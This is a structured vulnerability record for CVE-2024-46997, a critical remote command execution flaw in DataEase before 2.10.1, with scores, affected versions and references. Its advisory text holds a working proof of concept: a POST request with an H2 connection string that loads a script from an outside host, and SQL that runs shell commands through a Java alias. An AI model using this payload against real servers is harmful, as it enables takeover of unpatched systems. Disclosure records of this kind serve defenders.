{"id":"CVE-2024-46997","aliases":["CVE-2024-46997","GHSA-h7mj-m72h-qm8w"],"related":[],"kind":"vulnerability","state":"published","title":"DataEase's H2 datasource has a remote command execution risk","summary":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.","source":"cvelist"},{"lang":"en","text":"### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n    \"id\": \"\",\n    \"name\": \"test\",\n    \"type\": \"h2\",\n    \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n    \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)","format":"markdown","source":"ghsa"},{"lang":"es","text":"DataEase es una herramienta de análisis de visualización de datos de código abierto. Antes de la versión 2.10.1, un atacante podía ejecutar comandos de forma remota agregando una cadena de conexión de fuente de datos h2 cuidadosamente construida. La vulnerabilidad se ha corregido en la versión 2.10.1.","source":"nvd"}],"published":"2024-09-23T15:14:26.550Z","modified":"2026-06-17T07:56:20.267Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-74"],"affected":[{"ranges":[{"version":"< 2.10.1","status":"affected"}],"vendor":"dataease","product":"dataease","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"2.10.1","status":"affected"}],"vendor":"dataease","product":"dataease","cpe":"cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.10.1"}],"ecosystem":"Maven","package":"io.dataease:common","purl":"pkg:maven/io.dataease/common","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.10.1"}],"vendor":"dataease","product":"dataease","cpe":"cpe:2.3:a:dataease:dataease:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46997","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/dataease/dataease","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2024-09-23T15:42:28.717Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-46997","url":"https://www.cve.org/CVERecord?id=CVE-2024-46997","licence":"CVE Terms of Use","modified":"2024-09-23T15:43:39.577Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-h7mj-m72h-qm8w","url":"https://github.com/advisories/GHSA-h7mj-m72h-qm8w","licence":"CC-BY-4.0","modified":"2024-09-23T21:12:33.098Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-46997","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-46997","licence":"Public domain","modified":"2026-06-17T07:56:20.267Z"}],"updatedAt":"2026-11-25T22:58:45.678Z","epss":{"score":0.01442,"percentile":0.73988,"date":"2026-12-01T12:00:22.000Z"}}